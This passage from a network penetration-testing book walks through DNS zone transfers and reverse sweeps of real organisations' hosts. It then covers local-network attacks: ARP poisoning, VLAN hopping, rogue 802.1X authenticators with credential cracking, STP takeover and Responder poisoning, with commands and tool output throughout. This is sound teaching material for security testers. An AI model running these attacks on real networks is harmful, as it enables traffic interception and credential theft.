qa.legacy.whois.net.           3600 IN   A      204.202.20.50
qa.legacy.whois.net.           3600 IN   A      131.103.218.131
qa01-fl.qa.legacy.whois.net.   3600 IN   A      131.103.218.131
qa02-ca.qa.legacy.whois.net.   3600 IN   A      204.202.20.50
whois.net.                     900  IN   NS     glb-ns3.it.verio.net.
wisqlfld1.whois.net.           3600 IN   A      10.227.2.239
wisqlflq1.whois.net.           3600 IN   A      10.227.2.240
wisqlva1.whois.net.            3600 IN   A      198.171.79.130
www.whois.net.                 60   IN   CNAME  whois.net.
whois.net.                     3600 IN   SOA    nsx.NTX.net. system.NTX.net. 
                                                2014081401 86400 7200 2592000 3600

This DNS zone provides details of internal IP addresses of hosts including dev.whois.net. Upon identifying a server that supports zone transfer, you can query by using an IP block and reveal valid PTR records (used to resolve IP addresses back to hostnames). Example 4-10 demonstrates using dig to perform a zone transfer of the 198.171.79.0/24 subnet.

$ dig @glb-ns4.it.verio.net 79.171.198.in-addr.arpa axfr

; <<>> DiG 9.8.3-P1 <<>> @glb-ns4.it.verio.net 79.171.198.in-addr.arpa axfr
; (1 server found)
;; global options: +cmd
79.171.198.in-addr.arpa.     86400 IN   SOA    ns1.secure.net. hostmaster.secure.net. 
                                               2013120602 86400 7200 2592000 86400
79.171.198.in-addr.arpa.     86400 IN   NS     ns1.secure.net.
79.171.198.in-addr.arpa.     86400 IN   NS     ns2.secure.net.
102.79.171.198.in-addr.arpa. 86400 IN   PTR    va1-salsa02.ops.verio.net.
27.79.171.198.in-addr.arpa.  86400 IN   PTR    stngva1-dc02.corp.verio.net.
38.79.171.198.in-addr.arpa.  86400 IN   PTR    stngva1-dc01.corp.verio.net.
42.79.171.198.in-addr.arpa.  86400 IN   PTR    va1-itmail.it.verio.net.
47.79.171.198.in-addr.arpa.  86400 IN   PTR    va1-itmail01.it.verio.net.
48.79.171.198.in-addr.arpa.  86400 IN   PTR    va1-itmail02.it.verio.net.
50.79.171.198.in-addr.arpa.  86400 IN   PTR    va1-w8mon01.isg.win.smewh.net.
52.79.171.198.in-addr.arpa.  86400 IN   PTR    va1-w8mon02.isg.win.smewh.net.
54.79.171.198.in-addr.arpa.  86400 IN   PTR    va1-w8sql01.isg.win.smewh.net.
56.79.171.198.in-addr.arpa.  86400 IN   PTR    va1-w8sql02.isg.win.smewh.net.
62.79.171.198.in-addr.arpa.  86400 IN   PTR    stngva1-dc04.corp.verio.net.
69.79.171.198.in-addr.arpa.  86400 IN   PTR    va1-salsa01.ops.verio.net.
7.79.171.198.in-addr.arpa.   86400 IN   PTR    stngva1-dc03.corp.verio.net.
79.171.198.in-addr.arpa.     86400 IN   SOA    ns1.secure.net. hostmaster.secure.net. 
                                               2013120602 86400 7200 2592000 86400

The PTR records in Example 4-10 reveal new domains and subdomains that can, in turn, be fed back into other enumeration processes (e.g., zone transfers, and forward grinding attacks, as detailed in the following section).

Reverse DNS Sweeping

Upon building a list of IP network blocks, use reverse sweeping to reveal hostnames. Within Nmap, you can use the –sL flag along with grep and awk to format the results, as shown in Example 4-16.

$ nmap -sL 205.166.76.0/24 | grep "(" | awk '{printf("%s %s\n",$5,$6);}'
proxy1.nintendo.com (205.166.76.3)
noa3dns-w.nintendo.com (205.166.76.8)
mail.gamecubepower.com (205.166.76.9)
proxy2.nintendo.com (205.166.76.13)
proxy3.nintendo.com (205.166.76.15)
smtpout.nintendo.com (205.166.76.16)
www.nintendo.com (205.166.76.26)
cmail.nintendo.com (205.166.76.35)
wkstn.nintendo.com (205.166.76.69)
border.nintendo.com (205.166.76.79)
www.returns.nintendo.com (205.166.76.92)
email.nintendo.com (205.166.76.95)
smtpgw1.nintendo.com (205.166.76.97)
mail.nintendo.com (205.166.76.98)
store.nintendo.com (205.166.76.99)
gwsmtp.nintendo.com (205.166.76.109)
service.nintendo.com (205.166.76.129)
dns1.nintendo.com (205.166.76.132)
dns2.nintendo.com (205.166.76.133)
gateway.nintendo.com (205.166.76.136)
smtpgw2.nintendo.com (205.166.76.164)
wwwmail.pokemon-tcg.com (205.166.76.167)
qaretail.siras.com (205.166.76.195)
venus.siras.com (205.166.76.196)
router.siras.com (205.166.76.197)
proxync.nintendo.com (205.166.76.200)
sgate.nintendo.com (205.166.76.213)
mercury.siras.com (205.166.76.253)

This process often reveals new domains and subdomains, which are fed into further web searches and DNS queries to identify further systems of interest. By modifying the name server value within your local /etc/resolv.conf file, you can force the querying of particular DNS servers.

Using the HE BGP Toolkit, you can obtain the DNS records for a given IP range, as shown in Figure 4-13. The PTR records are authoritative and relate to the target environment; however, the A records should be taken with a pinch of salt because they could stem from an error in a different DNS zone.

Figure 4-13. Mapping DNS by using the HE BGP Toolkit

Cross-Referencing DNS Datasets

Three websites used to cross-reference mail servers, name servers, and individual IP addresses to domains and hostnames are mxlist.net, nslist.net, and iplist.net. Figures 4-14 and 4-15 demonstrate how you can use the sites to show all of the domains served by mail1.cia.gov and gtm-west.nintendo.com. You also can use iplist.net to show the known DNS hostnames for a given IP address, as shown in Figure 4-16.

Figure 4-14. Querying mxlist.net

Figure 4-15. Querying nslist.net

Figure 4-16. Querying iplist.net

802.3 Ethernet Testing

Ethernet is susceptible to passive network sniffing and active attack (primarily via ARP cache poisoning and CAM table overflow), resulting in the compromise of traffic between peers.

During manufacture, network adapters are each programmed with a unique 48-bit MAC address. These addresses are used by systems within IEEE 802 networks (including 802.3 Ethernet and 802.11 WiFi) to address one another. As such, their interfaces process content destined for them. You can remove the MAC filter of a network adapter by enabling promiscuous mode—resulting in all frames received, regardless of destination, being processed. Tools including Wireshark¹ and Cain & Abel² enable promiscuous mode and display captured network traffic.

Passive network sniffing

During a local network assessment exercise, a good starting point is to run a sniffer and evaluate the material exposed by the local network. Figure 5-2 shows Wireshark running on an Ethernet interface.

Within this example, we see that Wireshark records the following:

• Wellfleet Breath of Life (BOFL) frames

• Simple Service Discovery Protocol (SSDP) broadcast packets

• Microsoft computer browser service announcements

• Address Resolution Protocol (ARP) requests and replies

• An 802.1X EAPOL start frame

• Dropbox discovery broadcasts

Figure 5-2. Wireshark used to sniff local traffic

We learn details of IP ranges, subnet sizes, MAC addresses, and hostnames by reviewing captured frames and packets. If the network is misconfigured or switching fabric under stress, attackers can capture sensitive material via passive network sniffing.

If a switched Ethernet network is configured properly, you will only see broadcast frames and material destined for your MAC address. To compromise traffic sent between other hosts, you must consider active attack tactics, as follows.

ARP cache poisoning

ARP is used within local networks to map IPv4 addresses to underlying MAC addresses. Example 5-1 demonstrates normal ARP operation captured by tcpdump. In this case, 192.168.0.1 resolves and sends an ICMP echo request (ping) to 192.168.0.10. First, an ARP who-has message is broadcast to the network. Next, the destination host responds (using an ARP is-at reply, providing its MAC and IP addresses), and the ICMP operation is completed over IP.

Example 5-1. ARP and ICMP traffic captured with tcpdump

root@kali:~# tcpdump -ennqti eth0 \( arp or icmp \)
tcpdump: listening on eth0
0:80:c8:f8:4a:51 ff:ff:ff:ff:ff:ff : arp who-has 192.168.0.10 tell 192.168.0.1
0:80:c8:f8:5c:73 0:80:c8:f8:4a:51 : arp reply 192.168.0.10 is-at 0:80:c8:f8:5c:73
0:80:c8:f8:4a:51 0:80:c8:f8:5c:73 : 192.168.0.1 > 192.168.0.10: icmp: echo request
0:80:c8:f8:5c:73 0:80:c8:f8:4a:51 : 192.168.0.10 > 192.168.0.1: icmp: echo reply

Each host maintains a cache of recently mapped IP and MAC address pairs. You can review the contents of the cache locally by using the arp -a command within most operating systems, as shown by Example 5-2.

Example 5-2. Displaying local ARP cache contents

root@kali:~#  arp -a
? (192.168.0.1) at 0:80:c8:f8:4a:51 [ether] on eth0
? (192.168.0.10) at 0:80:c8:f8:5c:73 [ether] on eth0
? (192.168.0.35) at 4:f1:3e:e1:a7:c9 [ether] on eth0
? (192.168.0.53) at 78:fd:94:1d:2f:aa [ether] on eth0
? (192.168.0.180) at 34:2:86:7c:63:b1 [ether] on eth0

ARP is stateless and lacks authentication. As such, the protocol is vulnerable to poisoning by sending unsolicited ARP replies. By injecting his MAC address into the ARP caches of victim systems, an adversary can achieve MITM, as demonstrated by Figure 5-3. In this case, the caches of systems A and B are poisoned with the MAC address of E.

Figure 5-3. ARP cache poisoning

To compromise traffic in both directions between peers (e.g., a host and its local gateway), IP forwarding is first enabled on the attacker’s system, and unsolicited ARP replies are sent to poison both systems. Tools, including Cain & Abel and Ettercap,³ automate this process. Upon achieving MITM, an attacker can use a number of utilities to obtain data and secrets, including the following:

• sslstrip⁴ to downgrade HTTPS sessions

• easy-creds,⁵ which is used to glean credentials from Ettercap, ssltrip, and others)

• Laurent Gaffié’s Responder⁶ to respond to name resolution requests

• Evilgrade⁷ to serve malicious content to victims by service impersonation

• Metasploit to perform service impersonation and further attacks

Tip

Command execution is also possible within Microsoft Windows environments via MS15-011 Group Policy SMB MITM.⁸

Note

ARP is not used to perform resolution within IPv6 networks. Instead, Neighbor Discovery Protocol (NDP) is used over the link layer with multicast ICMPv6 packets, as described later in this chapter.

root@kali:~# macof -i eth1
aa:e1:ea:6b:6d:df 72:32:28:61:13:83 0.0.0.0.58748 > 0.0.0.0.46865: S 1907715: 1907715(0) win 512
3e:3f:ec:c:2c:f3 28:d0:25:5a:68:77 0.0.0.0.51035 > 0.0.0.0.29831: S 2009471: 2009471(0) win 512
61:dc:7b:62:1d:69 f3:55:91:7:a:9b 0.0.0.0.32352 > 0.0.0.0.33877: S 0468122: 0468122(0) win 512
3:9e:e:22:59:1a f6:77:65:7d:ac:d3 0.0.0.0.17314 > 0.0.0.0.746: S 9327237: 9327237(0) win 512
b:7a:f6:67:3f:66 74:25:99:70:4f:8c 0.0.0.0.31281 > 0.0.0.0.9475: S 5249557: 5249557(0) win 512

802.1Q VLAN

VLANs are used within enterprises to segment networks (e.g., data, voice, and management) and create individual broadcast domains. Along with reducing unnecessary broadcast of traffic, 802.1Q tagging limits the scope of ARP cache poisoning and other local attacks. Administrators define arbitrary VLAN ID values (0–4095), which are used to tag Ethernet frames and establish network segments. Figure 5-4 demonstrates a typical environment—a trunk is created between switches to distribute all of the traffic across a native VLAN, and individual ports are allocated to further VLANs.

Figure 5-4. A typical network using 802.1Q VLAN tagging

Following are some common risks to 802.1Q implementations:

• Dynamic trunk abuse to compromise VLANs and data (switch spoofing)

• Double-tagging frames to send data to other VLANs

• Layer 3 bypass of private VLAN port isolation¹⁰

These attacks are described in the following sections.

Dynamic trunking

In hardened environments, your port will have a static assignment, constraining you to a specific VLAN. Many switches support the Dynamic Trunking Protocol (DTP) by default, however, which an adversary can abuse to emulate a switch and receive traffic across all VLANs, as demonstrated by Figure 5-5.

Figure 5-5. Using DTP to enable trunking on a local port

The five port modes supported by Cisco switches are listed in Table 5-1.

Table 5-1. 802.1Q port modes used by Cisco switches

Mode	Description
Access	Places the port into a permanent nontrunking mode
Trunk	Places the port into a permanent trunking mode
Dynamic auto	The port may convert the link to a trunk if the neighboring port negotiates a trunk or dynamic desirable connection (the default mode)
Dynamic desirable	The port actively attempts to convert its link to a trunk, becoming a trunk port if the neighboring port negotiates a trunk, dynamic desirable, or dynamic auto mode
Nonegotiate	Disables dynamic trunking entirely for the port

Within Kali Linux, you can test for DTP support by using dtpscan.sh, as demonstrated by Example 5-4. The utility will return the port’s status (which can be referenced against Table 5-1).

Example 5-4. Running dtpscan.sh

root@kali:~# git clone https://github.com/commonexploits/dtpscan.git
root@kali:~# cd dtpscan/
root@kali:~/dtpscan# chmod a+x dtpscan.sh
root@kali:~/dtpscan# ./dtpscan.sh

########################################################
***   DTPScan - The VLAN DTP Scanner 1.3             ***
***   Detects DTP modes for VLAN Hopping (Passive)   ***
########################################################

[-] The following Interfaces are available

eth0
eth1

----------------------------------------------------------
[?] Enter the interface to scan from as the source
----------------------------------------------------------
eth1

[-] Now Sniffing DTP packets on interface eth1 for 90 seconds.
[+] DTP was found enabled in it's default state of 'Auto'.
[+] VLAN hopping will be possible.

Upon identifying a port that supports VLAN hopping (i.e., set to trunk, dynamic auto, or dynamic desirable), use Yersinia to enable trunking and evaluate the network configuration. Run the utility by using the following from the command line:¹¹

root@kali:~# yersinia –I

To launch an attack using a particular network interface, first navigate to the interfaces menu using “i” and then use “a” and “b” to toggle the interfaces, as shown:

┌─────────────── Global Interfaces ──────────────┐
│                                                │
│ a) eth0 (OFF)                                  │
│ b) eth1 (ON)                                   │
│                                                │
└──────────────── Press q to exit ───────────────┘

When an interface is selected (eth1 in this case), use “g” to select a protocol to use:

┌─ Choose protocol mode ────────────────────────┐
│ CDP    Cisco Discovery Protocol               │
│ DHCP   Dynamic Host Configuration Protocol    │
│ 802.1Q IEEE 802.1Q                            │
│ 802.1X IEEE 802.1X                            │
│ DTP    Dynamic Trunking Protocol              │
│ HSRP   Hot Standby Router Protocol            │
│ ISL    Inter-Switch Link Protocol             │
│ MPLS   MultiProtocol Label Switching          │
│ STP    Spanning Tree Protocol                 │
│ VTP    VLAN Trunking Protocol                 │
│                                               │
└─ ENTER to select  -  ESC/Q to quit ───────────┘

Upon selecting DTP, use “x” to present the available attacks and “1” to enable trunking. At this point, you should see data from the available VLANs using the 802.1Q menu (accessible via “g”), as follows:

┌── yersinia 0.7.3 by Slay & tomac - 802.1Q mode ────────────────[15:00:08]┐
│ VLAN L2Prot Src IP         Dst IP         IP Prot Iface  Last seen       │
│ 0250 ARP    10.121.5.1     10.121.5.17?   UKN      eth1  11 Aug 14:51:00 │
│ 0250 ARP    10.121.5.235   10.121.5.1?    UKN      eth1  11 Aug 14:52:13 │
│ 0250 ARP    10.121.5.87    10.121.5.1?    UKN      eth1  11 Aug 14:52:20 │
│ 0250 ARP    10.121.5.201   10.121.5.1?    UKN      eth1  11 Aug 14:52:48 │
│ 0250 ARP    10.121.5.240   10.121.5.1?    UKN      eth1  11 Aug 14:52:55 │
│ 0250 ARP    10.121.5.242   10.121.5.1?    UKN      eth1  11 Aug 14:53:06 │
│ 0250 ARP    10.121.5.246   10.121.5.1?    UKN      eth1  11 Aug 14:56:10 │
│ 0250 ARP    10.121.5.251   10.121.5.1?    UKN      eth1  11 Aug 14:57:53 │
│ 0250 ARP    10.121.5.248   10.121.5.1?    UKN      eth1  11 Aug 14:59:09 │

root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
Added VLAN with VID == 250 to IF -:eth1:-
root@kali:~# dhclient eth1.250
Reloading /etc/samba/smb.conf: smbd only.
root@kali:~# ifconfig eth1.250
eth1.250  Link encap:Ethernet  HWaddr 00:0e:c6:f0:29:65
          inet addr:10.121.5.86  Bcast:10.121.5.255  Mask:255.255.255.0
          inet6 addr: fe80::20e:c6ff:fef0:2965/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:19 errors:0 dropped:0 overruns:0 frame:0
          TX packets:13 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:2206 (2.1 KiB)  TX bytes:1654 (1.6 KiB)

root@kali:~# arp-scan -I eth1.250 10.121.5.0/24
Interface: eth1.250, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.121.5.1    58:16:26:ff:58:89   Avaya, Inc
10.121.5.16   cc:f9:54:a7:da:eb   Avaya, Inc
10.121.5.17   cc:f9:54:a7:da:b2   Avaya, Inc
10.121.5.18   cc:f9:54:a7:6e:e5   Avaya, Inc
10.121.5.20   cc:f9:54:a7:95:1f   Avaya, Inc

802.1Q double-tagging

If the native VLAN used between switches to form a trunk is exposed to an adversary, that person can double-tag frames and send content to other networks, as demonstrated by Figure 5-6. The frame is tagged with both the native VLAN (1) and the target VLAN (20).

Figure 5-6. Double-tagging VLAN frames

A valid destination MAC and IP address is required to deliver content. The majority of practical attacks are unidirectional and utilize connectionless protocols (e.g., SNMP); however, it is possible to establish a TCP connection with a victim if that host can communicate with an IP under the attacker’s control (demonstrated by Figure 5-7). Andrew Vladimirov detailed the tactic in a post to the Full Disclosure mailing list,¹² and Steve Rouiller’s paper¹³ contains reference code for this attack within its appendixes (vlan-de-1-2.c).

You also can use this technique to port-scan the victim, by sending double-tagged TCP SYN packets using a spoofed source IP (of an attacker controlled system that is reachable by the victim) to each port and monitoring the behavior (e.g., TCP SYN/ACK responses from open ports, as described in Chapter 6).

Note

Double-tagging attack mitigation involves the native VLAN being accessible to only privileged ports and devices, as shown in Figure 5-4. By enforcing correct VLAN boundaries, attackers cannot double-tag and send frames to other segments.

Figure 5-7. Bypassing security controls by double-tagging

Layer 3 private VLAN bypass

In guest wireless networks and other environments, private VLAN¹⁴ (also known as port isolation) settings are used to prevent peers from interacting (i.e., clients connect to a wireless access point but cannot address one another). Depending on network ACLs (or lack thereof), it might be possible to send IP packets up to a router, which are then forwarded back to a neighboring peer. Figure 5-8 demonstrates the attack, by which an adversary sends a network frame with a crafted destination MAC (of the router) and IP address (of the target).

Figure 5-8. A private VLAN attack

The gateway receives the frame and forwards the packet to the destination. This attack can be exploited in the same manner as double-tagging (expanding on Steve Rouiller’s pvlan.c)—if the victim can connect to an IP that is attacker controlled, TCP sessions with listening ports can be established.

802.1X PNAC

Port-based Network Access Control (PNAC) is a mechanism by which devices connecting to a local area network can authenticate. Figure 5-9 shows how Extensible Authentication Protocol (EAP) messages are sent between the supplicant, authenticator, and authentication server. Unauthenticated supplicants cannot participate in the network; however, they can initiate EAP conversations with the backend RADIUS server.

Figure 5-9. 802.1X authentication

Most 802.1X implementations support common EAP methods listed in Table 5-2. EAP-MD5 support is particularly problematic, as the method is vulnerable to offline brute-force password grinding. EAP-TLS and Protected EAP (PEAP) provide authentication and transport security via TLS, which mitigate the exposure of credentials. In each case, however, the supplicant identity is broadcast within the plaintext EAPOL start message.

Here are some of the attack tactics that can be used against 802.1X implementations:

• Active brute-force password grinding via EAP

• Attacking the RADIUS server with malformed EAP content¹⁵

• EAP message capture and offline password cracking (EAP-MD5 and PEAP)

• Forcing EAP-MD5 authentication to bypass TLS certificate validation

• Injecting malicious network traffic upon authenticating using a hub or similar¹⁶

EAP logoff frame spoofing in shared media environments (e.g., 802.11 WiFi) is also an issue, but beyond the scope of this book. Table 5-3 lists available 802.1X testing tools and details the supported attacks.

EAP message capture and offline attack

An adversary with privileged network access (e.g., the Ethernet cable to the supplicant) can sniff EAP-MD5 conversations and use a rogue 802.1X authenticator to obtain PEAP (MS-CHAPv2) credentials. Depending on the configuration of the supplicant, the rogue server might spawn a TLS certificate error, which the user will likely acknowledge to continue with authentication. The attack is demonstrated in Figure 5-10.

Figure 5-10. Deploying a rogue authenticator

EAP-MD5

Upon capturing an EAP-MD5 conversation between a supplicant and authentication server in PCAP format, we can use eapmd5pass to compromise the user credentials, as shown in Example 5-6.

Example 5-6. Using eapmd5pass within Kali Linux

root@kali:~# eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
Collected all data necessary to attack password for "chris", starting attack.
User password is "tiffers1".
1202867 passwords in 4.06 seconds: 296272.66 passwords/second.

PEAP

You can deploy a rogue authenticator (hostapd-wpe) to capture MS-CHAPv2 material sent over TLS via PEAP within Kali Linux, as follows:

apt-get update
apt-get install libssl-dev libnl-dev
git clone http://bit.ly/2aNSPIS
wget http://bit.ly/2bjgwoJ
tar -zxf hostapd-2.2.tar.gz
cd hostapd-2.2
patch -p1 < ../hostapd-wpe/hostapd-wpe.patch
cd hostapd
make
cd ../../hostapd-wpe/certs
./bootstrap
cd ../../hostapd-2.2/hostapd
./hostapd-wpe hostapd-wpe.conf

Edit hostapd-wpe.conf to specify a network interface and other settings. After it is running, the utility will print MS-CHAPv2 challenge/response values (and log to hostapd-wpe.log within the current directory), which are then cracked using asleap, as demonstrated by Example 5-7. The attack uses rainbow tables, so use genkeys to create the words.dat and words.idx files (based on the /usr/share/wordlists/sqlmap.txt wordlist in this case).

Example 5-7. Capturing and cracking PEAP credentials

root@kali:~/hostapd-2.2/hostapd# ./hostapd-wpe hostapd-wpe.conf
Configuration file: hostapd-wpe.conf
Using interface eth0 with hwaddr 00:0c:29:30:55:0d and ssid ""
eth0: interface state UNINITIALIZED->ENABLED
eth0: AP-ENABLED
mschapv2: Wed Aug 19 16:04:53 2015
username: chris
challenge: 79:4e:1d:af:93:8f:d8:a6
response: e1:11:13:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0

root@kali:~/hostapd-2.2/hostapd# genkeys -r /usr/share/wordlists/sqlmap.txt -f words.dat \
-n words.idx
genkeys 2.2 - generates lookup file for asleap. <jwright@hasborg.com>
Generating hashes for passwords (this may take some time) ...Done.
1202868 hashes written in 4.45 seconds:  270435.83 hashes/second
Starting sort (be patient) ...Done.
Completed sort in 13167671 compares.
Creating index file (almost finished) ...Done.
root@kali:~/hostapd-2.2/hostapd# asleap –C 79:4e:1d:af:93:8f:d8:a6 -R \
e1:11:13:59:56:06:02:dd:35:4a:0f:99:c8:6b:e1:fb:a3:04:ca:82:40:92:7c:f0 \
-f words.dat –n words.idx
asleap 2.2 – actively recover LEAP/PPTP passwords. <jwright@hasborg.com>
        hash bytes:        4a39
        NT hash:           198bdbf5833a56fb40cdd1a64a39a1fc
        password:          katykat

root@kali:~# cat /etc/wpa_supplicant.conf
ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=wheel
ap_scan=0
network={
    key_mgmt=IEEE8021X
    eap=MD5
    identity="chris"
    password="abc123"
    eapol_flags=0
}
root@kali:~# wpa_supplicant -B –D wired –i eth1 –c /etc/wpa_supplicant.conf
root@kali:~#

CDP

Hosts supporting Cisco Discovery Protocol (CDP) broadcast Ethernet multicast frames describing their operating system and configuration. Table 5-4 lists individual CDP frame data fields.

You can collect CDP frames and gather network information through passive sniffing in Cisco environments. Yersinia captures CDP frames and displays the individual fields, as demonstrated by Example 5-9.

┌───────────────────────────────────────────┐
│  Destination MAC  01:00:0C:CC:CC:CC       │
│          Version  02                      │
│              TTL  0A                      │
│         Checksum  8373                    │
│            DevID  zape                    │
│        Addresses  010.013.058.009         │
│          Port ID  FastEthernet0/11        │
│     Capabilities  00000028                │
│ Software version  Cisco Internetwork 0    │
│         Platform  cisco WS-C2950T-24      │
│   Protocol Hello                          │
│       VTP Domain  VTP-DOMAIN              │
│      Native VLAN  0064                    │
│           Duplex  01                      │
└─── q,ENTER: exit  Up/Down: scrolling ─────┘

Active CDP attacks resulting in unintended consequences include the following:

• CDP flooding of the switch, resulting in denial of service¹⁷ (e.g., 99 percent CPU)

• Broadcast of CDP frames to advertise particular devices that in turn induce inbound polling via SNMP (and other protocols) by network management products, including CiscoWorks LAN Management and IBM Tivoli NetView.

• Broadcast of CDP frames to place Cisco IP phones into a particular VLAN

You can use Yersinia to capture, modify, and craft CDP frames. Use “e” to edit individual fields, then “x” and “0” to broadcast each frame. Within Kali Linux, you also can use Metasploit¹⁸ and Scapy¹⁹ to manipulate CDP frames. The Scapy package requires some configuration before use, however, as follows:

1. Execute the following from the command line:

   hg clone https://bitbucket.org/secdev/scapy
   cd scapy
   hg update -r v2.2.0

2. Edit the setup.py file to add scapy/contrib to the list of packages:

   packages=['scapy','scapy/arch', 'scapy/arch/windows', 'scapy/layers', 'scapy/asn1', 
   'scapy/tools', 'scapy/modules', 'scapy/crypto', 'scapy/contrib' ]

3. Run the installation script via Python:

   python setup.py install

At this point, Scapy should support additional protocols, including CDP:

root@kali:~/scapy# scapy
Welcome to Scapy (2.2.0)
>>> list_contrib()
wpa_eapol     : WPA EAPOL dissector                  status=loads
ubberlogger   : Ubberlogger dissectors               status=untested
igmp          : IGMP/IGMPv2                          status=loads
avs           : AVS WLAN Monitor Header              status=loads
ospf          : OSPF                                 status=loads
igmpv3        : IGMPv3                               status=loads
skinny        : Skinny Call Control Protocol (SCCP)  status=loads
eigrp         : EIGRP                                status=loads
cdp           : Cisco Discovery Protocol             status=loads
dtp           : DTP                                  status=loads
rsvp          : RSVP                                 status=loads
bgp           : BGP                                  status=loads
etherip       : EtherIP                              status=loads
ripng         : RIPng                                status=loads
mpls          : MPLS                                 status=loads
ikev2         : IKEv2                                status=loads
chdlc         : Cisco HDLC and SLARP                 status=loads
vqp           : VLAN Query Protocol                  status=loads
vtp           : VLAN Trunking Protocol (VTP)         status=loads

A reference Python script using the Scapy CDP library is available online.²⁰ By removing the while loop and adding fields such as CDPMsgVoIPVLANReply (type 15) you can spoof CDP frames to execute attacks against Cisco IP phones and other systems.

802.1D STP

Spanning Tree Protocol (STP) is a mechanism used to maintain loop-free network topologies. Switches use Bridge Protocol Data Unit (BPDU) frames to self-organize by setting redundant uplink ports to a state known as blocking to close loops. Figure 5-11 demonstrates a typical configuration, and Table 5-5 describes the five port states.

Figure 5-11. An 802.3 Ethernet network using STP

Upon electing a root bridge, switches select root and designated ports. A root port is one that provides the best path to the root bridge, and others become designated ports. For details of the BPDU election process and port configuration, refer to Kevin Lauerman and Jeff King’s paper,²¹ which provides a number of low-level examples and detailed topology diagrams.

┌── yersinia 0.7.3 by Slay & tomac - STP mode ─────────────────────[10:29:40]┐
│    RootId            BridgeId          Port       Iface Last seen          │
│    5080.760F0E13AC58 CB09.E7CD90117CAA 8002       eth1  26 Aug 10:29:39    │
│    5080.760F0E14AC58 CB09.E7CD90127CAA 8002       eth2  26 Aug 10:29:38    │
│    5080.760F0E13AC58 CB09.E7CD90117CAA 8002       eth2  26 Aug 10:27:05    │
│    5080.760F0E14AC58 CB09.E7CD90127CAA 8002       eth1  26 Aug 10:26:59    │
│                                                                            │

Root bridge takeover

Upon connecting to two switches within an environment, use Ettercap to establish a bridge and Yersinia to send crafted BPDU frames via each interface. Figure 5-12 shows the resulting topology, by which traffic between switches is compromised.

Figure 5-12. STP root bridge takeover

Example 5-11 demonstrates how to bridge eth1 and eth2 and sniff with Ettercap.

Example 5-11. Using Ettercap to bridge two interfaces

root@kali:~# ettercap -T -i eth1 -B eth2 -q

ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team

Listening on:
  eth1 -> 00:0C:29:30:55:0D
      192.168.1.4/255.255.255.0
      fe80::20c:29ff:fe30:550d/64

Listening on:
eth2 -> 00:0C:29:30:54:AC
      192.168.1.5/255.255.255.0
      fe80::20c:29ff:fe30:54ac/64

Privileges dropped to EUID 65534 EGID 65534...

  33 plugins
  42 protocol dissectors
  57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services

Starting Bridged sniffing...

Next, run Yersinia and use “I” to enable the bridged interfaces and disable eth0:

┌──────────── Global Interfaces ────────────┐
│                                           │
│ a) eth0 (OFF)                             │
│ b) eth1 (ON)                              │
│ b) eth2 (ON)                              │
│                                           │
└───────────── Press q to exit ─────────────┘

Upon using “g” to select the STP protocol mode, you should begin to see BPDUs. Finally, use “x” and option “4” to claim the root role within the topology. Yersinia will send spoofed frames using each interface, and the running Ettercap process should bear fruit as traffic is captured.

Note

Use macof to launch a CAM table overflow attack and compromise traffic between other switches in an environment. The net effect is that switches will then broadcast frames to all ports, which in turn, you can capture.

DHCP

Dynamic Host Configuration Protocol (DHCP) operates over UDP, using the messages described in Table 5-6. The protocol is used to configure local systems and provide details including IP address, subnet, and default gateway details to clients.

DHCPDISCOVER

DHCPOFFER

DHCPREQUEST

DHCPACK

DHCPNAK

DHCPDECLINE

DHCPRELEASE

DHCPINFORM

A popular active tactic used to attack DHCP involves rogue server setup (often involving denial of service to flood the legitimate server). The net effect is that malicious default gateway, DNS server, and WPAD settings are provided to clients.

root@kali:~# nmap --script broadcast-dhcp-discover

Starting Nmap 6.49BETA4 (https://nmap.org) at 2015-08-26 07:31 EDT
Pre-scan script results:
| broadcast-dhcp-discover:
|   Response 1 of 1:
|     IP Offered: 192.168.1.5
|     DHCP Message Type: DHCPOFFER
|     Subnet Mask: 255.255.255.0
|     Router: 192.168.1.1
|     Domain Name Server: 192.168.1.1
|     Hostname: dhcppc3
|     Domain Name: dlink.com\x00
|     Renewal Time Value: 0s
|     Rebinding Time Value: 0s
|     IP Address Lease Time: 1s
|_    Server Identifier: 192.168.1.1

-i

-d

-r

-p

-s

-n

-I

-w

-S

-R

PXE

Preboot Execution Environment (PXE) is a method by which systems load OS images from the local network. Figure 5-13 demonstrates the protocol: DHCP is used to provide network configuration, TFTP is used to serve the initial boot image, and a file service protocol (usually NFS or SMB) is used to deploy the OS.

Figure 5-13. Microsoft PXE boot sequence

Within Microsoft environments,²⁶ PXE operates in one of two modes:

Lite Touch

Requires credentials to load full OS images via SMB

Zero Touch

Loads a full OS without credentials

Practical PXE attacks include the following:

• Pilfering secrets (e.g., credentials) from available operating system images²⁷

• Service of malicious images²⁸ to capture user credentials (through presentation of a fake logon prompt) or achieve persistence through low-level attack of BIOS,²⁹ hard disk controllers,³⁰ or other hardware components

If the victim host does not use full-disk encryption (FDE), you can patch files used by the operating system³¹ and obtain user password hashes.³² This attack vector is rapidly becoming obsolete, however, as FDE uptake increases within enterprises.

LLMNR, NBT-NS, and mDNS

Microsoft systems use Link-Local Multicast Name Resolution (LLMNR) and the NetBIOS Name Service (NBT-NS) for local host resolution when DNS lookups fail. Apple Bonjour and Linux zero-configuration implementations use Multicast DNS (mDNS) to discover systems within a network. These protocols are unauthenticated and broadcast messages over UDP; thus, attackers can exploit them to direct users to malicious services.

Responder channels clients to rogue services (e.g., SMB) upon replying to UDP queries broadcast via port 137 (NBT-NS), 5353 (mDNS), and 5355 (LLMNR). Victims authenticate with services using hashes that can be cracked and replayed. Figure 5-14 summarizes the attack, by which a user’s credentials are compromised upon him mistyping \\printserver.

Figure 5-14. LLMNR/NBT-NS poisoning

Example 5-13 demonstrates Responder used to capture NTLMv2 hashes. The material is saved to disk and John the Ripper³³ cracks the hash—revealing the testuser account password of password1.

root@kali:~# responder -i 192.168.208.156
NBT Name Service/LLMNR Responder 2.0.
